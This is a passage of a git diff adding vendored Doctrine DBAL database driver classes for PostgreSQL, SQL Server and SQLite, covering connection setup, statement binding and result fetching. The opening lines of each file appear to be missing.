b/vendor/doctrine/dbal/src/Driver/PDO/PgSQL/Driver.php new file mode 100644 index 000000000..1c586d69d --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/PgSQL/Driver.php @@ -0,0 +1,131 @@ +constructPdoDsn($safeParams), + $params['user'] ?? '', + $params['password'] ?? '', + $driverOptions, + ); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + + if ( + ! isset($driverOptions[PDO::PGSQL_ATTR_DISABLE_PREPARES]) + || $driverOptions[PDO::PGSQL_ATTR_DISABLE_PREPARES] === true + ) { + $pdo->setAttribute(PDO::PGSQL_ATTR_DISABLE_PREPARES, true); + } + + $connection = new Connection($pdo); + + /* defining client_encoding via SET NAMES to avoid inconsistent DSN support + * - passing client_encoding via the 'options' param breaks pgbouncer support + */ + if (isset($params['charset'])) { + $connection->exec('SET NAMES \'' . $params['charset'] . '\''); + } + + return $connection; + } + + /** + * Constructs the Postgres PDO DSN. + * + * @param array $params + */ + private function constructPdoDsn(array $params): string + { + $dsn = 'pgsql:'; + + if (isset($params['host']) && $params['host'] !== '') { + $dsn .= 'host=' . $params['host'] . ';'; + } + + if (isset($params['port']) && $params['port'] !== '') { + $dsn .= 'port=' . $params['port'] . ';'; + } + + if (isset($params['dbname'])) { + $dsn .= 'dbname=' . $params['dbname'] . ';'; + } elseif (isset($params['default_dbname'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5705', + 'The "default_dbname" connection parameter is deprecated. Use "dbname" instead.', + ); + + $dsn .= 'dbname=' . $params['default_dbname'] . ';'; + } else { + if (isset($params['user']) && $params['user'] !== 'postgres') { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5705', + 'Relying on the DBAL connecting to the "postgres" database by default is deprecated.' + . ' Unless you want to have the server determine the default database for the connection,' + . ' specify the database name explicitly.', + ); + } + + // Used for temporary connections to allow operations like dropping the database currently connected to. + $dsn .= 'dbname=postgres;'; + } + + if (isset($params['sslmode'])) { + $dsn .= 'sslmode=' . $params['sslmode'] . ';'; + } + + if (isset($params['sslrootcert'])) { + $dsn .= 'sslrootcert=' . $params['sslrootcert'] . ';'; + } + + if (isset($params['sslcert'])) { + $dsn .= 'sslcert=' . $params['sslcert'] . ';'; + } + + if (isset($params['sslkey'])) { + $dsn .= 'sslkey=' . $params['sslkey'] . ';'; + } + + if (isset($params['sslcrl'])) { + $dsn .= 'sslcrl=' . $params['sslcrl'] . ';'; + } + + if (isset($params['application_name'])) { + $dsn .= 'application_name=' . $params['application_name'] . ';'; + } + + return $dsn; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/Result.php b/vendor/doctrine/dbal/src/Driver/PDO/Result.php new file mode 100644 index 000000000..67970ac56 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/Result.php @@ -0,0 +1,124 @@ +statement = $statement; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + return $this->fetch(PDO::FETCH_NUM); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->fetch(PDO::FETCH_ASSOC); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return $this->fetch(PDO::FETCH_COLUMN); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return $this->fetchAll(PDO::FETCH_NUM); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return $this->fetchAll(PDO::FETCH_ASSOC); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return $this->fetchAll(PDO::FETCH_COLUMN); + } + + public function rowCount(): int + { + try { + return $this->statement->rowCount(); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + public function columnCount(): int + { + try { + return $this->statement->columnCount(); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + public function free(): void + { + $this->statement->closeCursor(); + } + + /** + * @psalm-param PDO::FETCH_* $mode + * + * @return mixed + * + * @throws Exception + */ + private function fetch(int $mode) + { + try { + return $this->statement->fetch($mode); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + /** + * @psalm-param PDO::FETCH_* $mode + * + * @return list + * + * @throws Exception + */ + private function fetchAll(int $mode): array + { + try { + return $this->statement->fetchAll($mode); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Connection.php b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Connection.php new file mode 100644 index 000000000..9015f5558 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Connection.php @@ -0,0 +1,70 @@ +connection = $connection; + } + + public function prepare(string $sql): StatementInterface + { + return new Statement( + $this->connection->prepare($sql), + ); + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + if ($name === null) { + return parent::lastInsertId($name); + } + + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + + $statement = $this->prepare( + 'SELECT CONVERT(VARCHAR(MAX), current_value) FROM sys.sequences WHERE name = ?', + ); + $statement->bindValue(1, $name); + + return $statement->execute() + ->fetchOne(); + } + + public function getNativeConnection(): PDO + { + return $this->connection->getNativeConnection(); + } + + /** @deprecated Call {@see getNativeConnection()} instead. */ + public function getWrappedConnection(): PDO + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5037', + '%s is deprecated, call getNativeConnection() instead.', + __METHOD__, + ); + + return $this->connection->getWrappedConnection(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Driver.php b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Driver.php new file mode 100644 index 000000000..63eabb71a --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Driver.php @@ -0,0 +1,108 @@ + $value) { + if (is_int($option)) { + $driverOptions[$option] = $value; + } else { + $dsnOptions[$option] = $value; + } + } + } + + if (! empty($params['persistent'])) { + $driverOptions[PDO::ATTR_PERSISTENT] = true; + } + + $safeParams = $params; + unset($safeParams['password'], $safeParams['url']); + + try { + $pdo = new PDO( + $this->constructDsn($safeParams, $dsnOptions), + $params['user'] ?? '', + $params['password'] ?? '', + $driverOptions, + ); + } catch (\PDOException $exception) { + throw PDOException::new($exception); + } + + return new Connection(new PDOConnection($pdo)); + } + + /** + * Constructs the Sqlsrv PDO DSN. + * + * @param mixed[] $params + * @param string[] $connectionOptions + * + * @throws Exception + */ + private function constructDsn(array $params, array $connectionOptions): string + { + $dsn = 'sqlsrv:server='; + + if (isset($params['host'])) { + $dsn .= $params['host']; + + if (isset($params['port'])) { + $dsn .= ',' . $params['port']; + } + } elseif (isset($params['port'])) { + throw PortWithoutHost::new(); + } + + if (isset($params['dbname'])) { + $connectionOptions['Database'] = $params['dbname']; + } + + if (isset($params['MultipleActiveResultSets'])) { + $connectionOptions['MultipleActiveResultSets'] = $params['MultipleActiveResultSets'] ? 'true' : 'false'; + } + + return $dsn . $this->getConnectionOptionsDsn($connectionOptions); + } + + /** + * Converts a connection options array to the DSN + * + * @param string[] $connectionOptions + */ + private function getConnectionOptionsDsn(array $connectionOptions): string + { + $connectionOptionsDsn = ''; + + foreach ($connectionOptions as $paramName => $paramValue) { + $connectionOptionsDsn .= sprintf(';%s=%s', $paramName, $paramValue); + } + + return $connectionOptionsDsn; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Statement.php b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Statement.php new file mode 100644 index 000000000..cb2dfaedb --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/SQLSrv/Statement.php @@ -0,0 +1,109 @@ +statement = $statement; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + * + * @param string|int $param + * @param mixed $variable + * @param int $type + * @param int|null $length + * @param mixed $driverOptions The usage of the argument is deprecated. + * + * @throws UnknownParameterType + * + * @psalm-assert ParameterType::* $type + */ + public function bindParam( + $param, + &$variable, + $type = ParameterType::STRING, + $length = null, + $driverOptions = null + ): bool { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (func_num_args() > 4) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4533', + 'The $driverOptions argument of Statement::bindParam() is deprecated.', + ); + } + + switch ($type) { + case ParameterType::LARGE_OBJECT: + case ParameterType::BINARY: + $driverOptions ??= PDO::SQLSRV_ENCODING_BINARY; + + break; + + case ParameterType::ASCII: + $type = ParameterType::STRING; + $length = 0; + $driverOptions = PDO::SQLSRV_ENCODING_SYSTEM; + break; + } + + return $this->statement->bindParam($param, $variable, $type, $length ?? 0, $driverOptions); + } + + /** + * @throws UnknownParameterType + * + * {@inheritDoc} + * + * @psalm-assert ParameterType::* $type + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->bindParam($param, $value, $type); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/SQLite/Driver.php b/vendor/doctrine/dbal/src/Driver/PDO/SQLite/Driver.php new file mode 100644 index 000000000..2e97788e6 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/SQLite/Driver.php @@ -0,0 +1,77 @@ +constructPdoDsn(array_intersect_key($params, ['path' => true, 'memory' => true])), + $params['user'] ?? '', + $params['password'] ?? '', + $driverOptions, + ); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + + UserDefinedFunctions::register( + [$pdo, 'sqliteCreateFunction'], + $userDefinedFunctions, + ); + + return new Connection($pdo); + } + + /** + * Constructs the Sqlite PDO DSN. + * + * @param array $params + */ + private function constructPdoDsn(array $params): string + { + $dsn = 'sqlite:'; + if (isset($params['path'])) { + $dsn .= $params['path']; + } elseif (isset($params['memory'])) { + $dsn .= ':memory:'; + } + + return $dsn; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/Statement.php b/vendor/doctrine/dbal/src/Driver/PDO/Statement.php new file mode 100644 index 000000000..64f318d2c --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/Statement.php @@ -0,0 +1,137 @@ +stmt = $stmt; + } + + /** + * {@inheritDoc} + * + * @throws UnknownParameterType + * + * @psalm-assert ParameterType::* $type + */ + public function bindValue($param, $value, $type = ParameterType::STRING) + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + $pdoType = ParameterTypeMap::convertParamType($type); + + try { + return $this->stmt->bindValue($param, $value, $pdoType); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + * + * @param mixed $param + * @param mixed $variable + * @param int $type + * @param int|null $length + * @param mixed $driverOptions The usage of the argument is deprecated. + * + * @throws UnknownParameterType + * + * @psalm-assert ParameterType::* $type + */ + public function bindParam( + $param, + &$variable, + $type = ParameterType::STRING, + $length = null, + $driverOptions = null + ): bool { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (func_num_args() > 4) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4533', + 'The $driverOptions argument of Statement::bindParam() is deprecated.', + ); + } + + $pdoType = ParameterTypeMap::convertParamType($type); + + try { + return $this->stmt->bindParam( + $param, + $variable, + $pdoType, + $length ?? 0, + ...array_slice(func_get_args(), 4), + ); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + } + + try { + $this->stmt->execute($params); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + + return new Result($this->stmt); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PgSQL/Connection.php b/vendor/doctrine/dbal/src/Driver/PgSQL/Connection.php new file mode 100644 index 000000000..378e8ed7a --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PgSQL/Connection.php @@ -0,0 +1,161 @@ +connection = $connection; + $this->parser = new Parser(false); + } + + public function __destruct() + { + if (! isset($this->connection)) { + return; + } + + @pg_close($this->connection); + } + + public function prepare(string $sql): Statement + { + $visitor = new ConvertParameters(); + $this->parser->parse($sql, $visitor); + + $statementName = uniqid('dbal', true); + if (@pg_send_prepare($this->connection, $statementName, $visitor->getSQL()) !== true) { + throw new Exception(pg_last_error($this->connection)); + } + + $result = @pg_get_result($this->connection); + assert($result !== false); + + if ((bool) pg_result_error($result)) { + throw Exception::fromResult($result); + } + + return new Statement($this->connection, $statementName, $visitor->getParameterMap()); + } + + public function query(string $sql): Result + { + if (@pg_send_query($this->connection, $sql) !== true) { + throw new Exception(pg_last_error($this->connection)); + } + + $result = @pg_get_result($this->connection); + assert($result !== false); + + if ((bool) pg_result_error($result)) { + throw Exception::fromResult($result); + } + + return new Result($result); + } + + /** {@inheritDoc} */ + public function quote($value, $type = ParameterType::STRING) + { + if ($type === ParameterType::BINARY || $type === ParameterType::LARGE_OBJECT) { + return sprintf("'%s'", pg_escape_bytea($this->connection, $value)); + } + + return pg_escape_literal($this->connection, $value); + } + + public function exec(string $sql): int + { + return $this->query($sql)->rowCount(); + } + + /** {@inheritDoc} */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + + return $this->query(sprintf('SELECT CURRVAL(%s)', $this->quote($name)))->fetchOne(); + } + + return $this->query('SELECT LASTVAL()')->fetchOne(); + } + + /** @return true */ + public function beginTransaction(): bool + { + $this->exec('BEGIN'); + + return true; + } + + /** @return true */ + public function commit(): bool + { + $this->exec('COMMIT'); + + return true; + } + + /** @return true */ + public function rollBack(): bool + { + $this->exec('ROLLBACK'); + + return true; + } + + public function getServerVersion(): string + { + return (string) pg_version($this->connection)['server']; + } + + /** @return PgSqlConnection|resource */ + public function getNativeConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PgSQL/ConvertParameters.php b/vendor/doctrine/dbal/src/Driver/PgSQL/ConvertParameters.php new file mode 100644 index 000000000..795f12d2f --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PgSQL/ConvertParameters.php @@ -0,0 +1,49 @@ + */ + private array $buffer = []; + + /** @var array */ + private array $parameterMap = []; + + public function acceptPositionalParameter(string $sql): void + { + $position = count($this->parameterMap) + 1; + $this->parameterMap[$position] = $position; + $this->buffer[] = '$' . $position; + } + + public function acceptNamedParameter(string $sql): void + { + $position = count($this->parameterMap) + 1; + $this->parameterMap[$sql] = $position; + $this->buffer[] = '$' . $position; + } + + public function acceptOther(string $sql): void + { + $this->buffer[] = $sql; + } + + public function getSQL(): string + { + return implode('', $this->buffer); + } + + /** @return array */ + public function getParameterMap(): array + { + return $this->parameterMap; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PgSQL/Driver.php b/vendor/doctrine/dbal/src/Driver/PgSQL/Driver.php new file mode 100644 index 000000000..73c97cd81 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PgSQL/Driver.php @@ -0,0 +1,85 @@ +constructConnectionString($params), PGSQL_CONNECT_FORCE_NEW); + } catch (ErrorException $e) { + throw new Exception($e->getMessage(), '08006', 0, $e); + } finally { + restore_error_handler(); + } + + if ($connection === false) { + throw new Exception('Unable to connect to Postgres server.'); + } + + $driverConnection = new Connection($connection); + + if (isset($params['application_name'])) { + $driverConnection->exec('SET application_name = ' . $driverConnection->quote($params['application_name'])); + } + + return $driverConnection; + } + + /** + * Constructs the Postgres connection string + * + * @param array $params + */ + private function constructConnectionString( + #[SensitiveParameter] + array $params + ): string { + $components = array_filter( + [ + 'host' => $params['host'] ?? null, + 'port' => $params['port'] ?? null, + 'dbname' => $params['dbname'] ?? 'postgres', + 'user' => $params['user'] ?? null, + 'password' => $params['password'] ?? null, + 'sslmode' => $params['sslmode'] ?? null, + ], + static fn ($value) => $value !== '' && $value !== null, + ); + + return implode(' ', array_map( + static fn ($value, string $key) => sprintf("%s='%s'", $key, addslashes($value)), + array_values($components), + array_keys($components), + )); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PgSQL/Exception.php b/vendor/doctrine/dbal/src/Driver/PgSQL/Exception.php new file mode 100644 index 000000000..41e0dff19 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PgSQL/Exception.php @@ -0,0 +1,30 @@ +result = $result; + } + + public function __destruct() + { + if (! isset($this->result)) { + return; + } + + $this->free(); + } + + /** {@inheritDoc} */ + public function fetchNumeric() + { + if ($this->result === null) { + return false; + } + + $row = pg_fetch_row($this->result); + if ($row === false) { + return false; + } + + return $this->mapNumericRow($row, $this->fetchNumericColumnTypes()); + } + + /** {@inheritDoc} */ + public function fetchAssociative() + { + if ($this->result === null) { + return false; + } + + $row = pg_fetch_assoc($this->result); + if ($row === false) { + return false; + } + + return $this->mapAssociativeRow($row, $this->fetchAssociativeColumnTypes()); + } + + /** {@inheritDoc} */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** {@inheritDoc} */ + public function fetchAllNumeric(): array + { + if ($this->result === null) { + return []; + } + + $resultSet = pg_fetch_all($this->result, PGSQL_NUM); + // On PHP 7.4, pg_fetch_all() might return false for empty result sets. + if ($resultSet === false) { + return []; + } + + $types = $this->fetchNumericColumnTypes(); + + return array_map( + fn (array $row) => $this->mapNumericRow($row, $types), + $resultSet, + ); + } + + /** {@inheritDoc} */ + public function fetchAllAssociative(): array + { + if ($this->result === null) { + return []; + } + + $resultSet = pg_fetch_all($this->result, PGSQL_ASSOC); + // On PHP 7.4, pg_fetch_all() might return false for empty result sets. + if ($resultSet === false) { + return []; + } + + $types = $this->fetchAssociativeColumnTypes(); + + return array_map( + fn (array $row) => $this->mapAssociativeRow($row, $types), + $resultSet, + ); + } + + /** {@inheritDoc} */ + public function fetchFirstColumn(): array + { + if ($this->result === null) { + return []; + } + + $postgresType = pg_field_type($this->result, 0); + + return array_map( + fn ($value) => $this->mapType($postgresType, $value), + pg_fetch_all_columns($this->result), + ); + } + + public function rowCount(): int + { + if ($this->result === null) { + return 0; + } + + return pg_affected_rows($this->result); + } + + public function columnCount(): int + { + if ($this->result === null) { + return 0; + } + + return pg_num_fields($this->result); + } + + public function free(): void + { + if ($this->result === null) { + return; + } + + pg_free_result($this->result); + $this->result = null; + } + + /** @return array */ + private function fetchNumericColumnTypes(): array + { + assert($this->result !== null); + + $types = []; + $numFields = pg_num_fields($this->result); + for ($i = 0; $i < $numFields; ++$i) { + $types[$i] = pg_field_type($this->result, $i); + } + + return $types; + } + + /** @return array */ + private function fetchAssociativeColumnTypes(): array + { + assert($this->result !== null); + + $types = []; + $numFields = pg_num_fields($this->result); + for ($i = 0; $i < $numFields; ++$i) { + $types[pg_field_name($this->result, $i)] = pg_field_type($this->result, $i); + } + + return $types; + } + + /** + * @param list $row + * @param array $types + * + * @return list + */ + private function mapNumericRow(array $row, array $types): array + { + assert($this->result !== null); + + return array_map( + fn ($value, $field) => $this->mapType($types[$field], $value), + $row, + array_keys($row), + ); + } + + /** + * @param array $row + * @param array $types + * + * @return array + */ + private function mapAssociativeRow(array $row, array $types): array + { + assert($this->result !== null); + + $mappedRow = []; + foreach ($row as $field => $value) { + $mappedRow[$field] = $this->mapType($types[$field], $value); + } + + return $mappedRow; + } + + /** @return string|int|float|bool|null */ + private function mapType(string $postgresType, ?string $value) + { + if ($value === null) { + return null; + } + + switch ($postgresType) { + case 'bool': + switch ($value) { + case 't': + return true; + case 'f': + return false; + } + + throw UnexpectedValue::new($value, $postgresType); + + case 'bytea': + return hex2bin(substr($value, 2)); + + case 'float4': + case 'float8': + return (float) $value; + + case 'int2': + case 'int4': + return (int) $value; + + case 'int8': + return PHP_INT_SIZE >= 8 ? (int) $value : $value; + } + + return $value; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PgSQL/Statement.php b/vendor/doctrine/dbal/src/Driver/PgSQL/Statement.php new file mode 100644 index 000000000..75af66f30 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PgSQL/Statement.php @@ -0,0 +1,177 @@ + */ + private array $parameterMap; + + /** @var array */ + private array $parameters = []; + + /** @psalm-var array */ + private array $parameterTypes = []; + + /** + * @param PgSqlConnection|resource $connection + * @param array $parameterMap + */ + public function __construct($connection, string $name, array $parameterMap) + { + if (! is_resource($connection) && ! $connection instanceof PgSqlConnection) { + throw new TypeError(sprintf( + 'Expected connection to be a resource or an instance of %s, got %s.', + PgSqlConnection::class, + is_object($connection) ? get_class($connection) : gettype($connection), + )); + } + + $this->connection = $connection; + $this->name = $name; + $this->parameterMap = $parameterMap; + } + + public function __destruct() + { + if (! isset($this->connection)) { + return; + } + + @pg_query( + $this->connection, + 'DEALLOCATE ' . pg_escape_identifier($this->connection, $this->name), + ); + } + + /** {@inheritDoc} */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + if (! isset($this->parameterMap[$param])) { + throw UnknownParameter::new((string) $param); + } + + $this->parameters[$this->parameterMap[$param]] = $value; + $this->parameterTypes[$this->parameterMap[$param]] = $type; + + return true; + } + + /** {@inheritDoc} */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (func_num_args() > 4) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4533', + 'The $driverOptions argument of Statement::bindParam() is deprecated.', + ); + } + + if (! isset($this->parameterMap[$param])) { + throw UnknownParameter::new((string) $param); + } + + $this->parameters[$this->parameterMap[$param]] = &$variable; + $this->parameterTypes[$this->parameterMap[$param]] = $type; + + return true; + } + + /** {@inheritDoc} */ + public function execute($params = null): Result + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + + foreach ($params as $param => $value) { + if (is_int($param)) { + $this->bindValue($param + 1, $value, ParameterType::STRING); + } else { + $this->bindValue($param, $value, ParameterType::STRING); + } + } + } + + ksort($this->parameters); + + $escapedParameters = []; + foreach ($this->parameters as $parameter => $value) { + switch ($this->parameterTypes[$parameter]) { + case ParameterType::BINARY: + case ParameterType::LARGE_OBJECT: + $escapedParameters[] = $value === null ? null : pg_escape_bytea( + $this->connection, + is_resource($value) ? stream_get_contents($value) : $value, + ); + break; + default: + $escapedParameters[] = $value; + } + } + + if (@pg_send_execute($this->connection, $this->name, $escapedParameters) !== true) { + throw new Exception(pg_last_error($this->connection)); + } + + $result = @pg_get_result($this->connection); + assert($result !== false); + + if ((bool) pg_result_error($result)) { + throw Exception::fromResult($result); + } + + return new Result($result); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Result.php b/vendor/doctrine/dbal/src/Driver/Result.php new file mode 100644 index 000000000..7843a9589 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Result.php @@ -0,0 +1,93 @@ +|false + * + * @throws Exception + */ + public function fetchNumeric(); + + /** + * Returns the next row of the result as an associative array or FALSE if there are no more rows. + * + * @return array|false + * + * @throws Exception + */ + public function fetchAssociative(); + + /** + * Returns the first value of the next row of the result or FALSE if there are no more rows. + * + * @return mixed|false + * + * @throws Exception + */ + public function fetchOne(); + + /** + * Returns an array containing all of the result rows represented as numeric arrays. + * + * @return list> + * + * @throws Exception + */ + public function fetchAllNumeric(): array; + + /** + * Returns an array containing all of the result rows represented as associative arrays. + * + * @return list> + * + * @throws Exception + */ + public function fetchAllAssociative(): array; + + /** + * Returns an array containing the values of the first column of the result. + * + * @return list + * + * @throws Exception + */ + public function fetchFirstColumn(): array; + + /** + * Returns the number of rows affected by the DELETE, INSERT, or UPDATE statement that produced the result. + * + * If the statement executed a SELECT query or a similar platform-specific SQL (e.g. DESCRIBE, SHOW, etc.), + * some database drivers may return the number of rows returned by that query. However, this behaviour + * is not guaranteed for all drivers and should not be relied on in portable applications. + * + * @return int The number of rows. + * + * @throws Exception + */ + public function rowCount(): int; + + /** + * Returns the number of columns in the result + * + * @return int The number of columns in the result. If the columns cannot be counted, + * this method must return 0. + * + * @throws Exception + */ + public function columnCount(): int; + + /** + * Discards the non-fetched portion of the result, enabling the originating statement to be executed again. + */ + public function free(): void; +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLSrv/Connection.php b/vendor/doctrine/dbal/src/Driver/SQLSrv/Connection.php new file mode 100644 index 000000000..16e45d110 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLSrv/Connection.php @@ -0,0 +1,144 @@ +connection = $connection; + } + + /** + * {@inheritDoc} + */ + public function getServerVersion() + { + $serverInfo = sqlsrv_server_info($this->connection); + + return $serverInfo['SQLServerVersion']; + } + + public function prepare(string $sql): DriverStatement + { + return new Statement($this->connection, $sql); + } + + public function query(string $sql): ResultInterface + { + return $this->prepare($sql)->execute(); + } + + /** + * {@inheritDoc} + */ + public function quote($value, $type = ParameterType::STRING) + { + if (is_int($value)) { + return $value; + } + + if (is_float($value)) { + return sprintf('%F', $value); + } + + return "'" . str_replace("'", "''", $value) . "'"; + } + + public function exec(string $sql): int + { + $stmt = sqlsrv_query($this->connection, $sql); + + if ($stmt === false) { + throw Error::new(); + } + + $rowsAffected = sqlsrv_rows_affected($stmt); + + if ($rowsAffected === false) { + throw Error::new(); + } + + return $rowsAffected; + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + if ($name !== null) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + + $result = $this->prepare('SELECT CONVERT(VARCHAR(MAX), current_value) FROM sys.sequences WHERE name = ?') + ->execute([$name]); + } else { + $result = $this->query('SELECT @@IDENTITY'); + } + + return $result->fetchOne(); + } + + public function beginTransaction(): bool + { + if (! sqlsrv_begin_transaction($this->connection)) { + throw Error::new(); + } + + return true; + } + + public function commit(): bool + { + if (! sqlsrv_commit($this->connection)) { + throw Error::new(); + } + + return true; + } + + public function rollBack(): bool + { + if (! sqlsrv_rollback($this->connection)) { + throw Error::new(); + } + + return true; + } + + /** @return resource */ + public function getNativeConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLSrv/Driver.php b/vendor/doctrine/dbal/src/Driver/SQLSrv/Driver.php new file mode 100644 index 000000000..fcbdb7734 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLSrv/Driver.php @@ -0,0 +1,73 @@ +statement = $stmt; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + return $this->fetch(SQLSRV_FETCH_NUMERIC); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->fetch(SQLSRV_FETCH_ASSOC); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return FetchUtils::fetchAllNumeric($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return FetchUtils::fetchAllAssociative($this); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return FetchUtils::fetchFirstColumn($this); + } + + public function rowCount(): int + { + $count = sqlsrv_rows_affected($this->statement); + + if ($count !== false) { + return $count; + } + + return 0; + } + + public function columnCount(): int + { + $count = sqlsrv_num_fields($this->statement); + + if ($count !== false) { + return $count; + } + + return 0; + } + + public function free(): void + { + // emulate it by fetching and discarding rows, similarly to what PDO does in this case + // @link http://php.net/manual/en/pdostatement.closecursor.php + // @link https://github.com/php/php-src/blob/php-7.0.11/ext/pdo/pdo_stmt.c#L2075 + // deliberately do not consider multiple result sets, since doctrine/dbal doesn't support them + while (sqlsrv_fetch($this->statement)) { + } + } + + /** @return mixed|false */ + private function fetch(int $fetchType) + { + return sqlsrv_fetch_array($this->statement, 